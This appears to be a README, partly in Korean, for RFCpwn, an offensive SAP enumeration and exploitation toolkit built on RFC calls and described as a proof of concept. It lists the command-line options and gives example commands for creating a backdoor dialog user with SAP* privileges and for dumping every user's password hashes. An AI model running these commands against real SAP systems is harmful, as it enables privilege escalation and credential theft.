icryo/rfcpwnSAP에 RFC 호출을 사용하는 열거 및 익스플로잇 도구 키트
SAP RFC 호출을 사용하는 SAP 열거 및 익스플로잇 툴킷
Twitter: @icryo
이것은 손상된 서비스 계정의 영향을 보여주기 위한 툴킷입니다.
이 PoC는 프로덕션 환경에서 사용하기 위한 것이 아니며, 안정성이나 지원을 보장하지 않습니다.
RFCpwn은 pyrfc 및 SAP에서 제공하는 라이브러리를 기반으로 합니다: https://github.com/SAP/PyRFC#installation
usage: RFCpwn.py [-h] [-debug] [-ip IP] [-u Username] [-p Password]
[-c Client] [-s Sysid] [-ping] [-enum] [-usercopy]
[-user USER] [-copy COPY] [-pw PW] [-dump] [-exp]
An Impacket style enumeration and exploitation tool using SAP RFC calls
optional arguments:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
Authentication:
-ip IP <targetName or address>
-u Username RFC Users Username
-p Password RFC Users Password
-c Client Client- eg.000
-s Sysid System Number- eg 00
-ping RFC Ping Command
User Abuse:
-enum Use to enumerate a specific user
-usercopy add a Dialog User
-user USER Required for -usercopy and -userenum to specify the user
-copy COPY User to be copied required for -usercopy
-pw PW password of new user for -usercopy
Hash Collection:
-dump Dump hashes use with below
-exp EXPERIMENTAL - Dump BCODE / PASSCODE hashes
Ping - 연결 확인
./RFCpwn.py -ip 192.168.200.253 -s 00 -c 000 -u RFCUser -p RFCPass -ping
사용자의 권한을 새로운 대화 사용자로 복사합니다. -copy를 지정하지 않으면 SAP*가 사용됩니다.
./RFCpwn.py -ip 192.168.200.253 -s 00 -c 000 -u RFCUser -p RFCPass -usercopy -user attacker -pw changeme1
모든 사용자의 해시를 덤프합니다. -exp 옵션은 실험적인 bcode 및 passcode 해시를 위한 것입니다.
./RFCpwn.py -ip 192.168.200.253 -s 00 -c 000 -u RFCUser -p RFCPass -dump
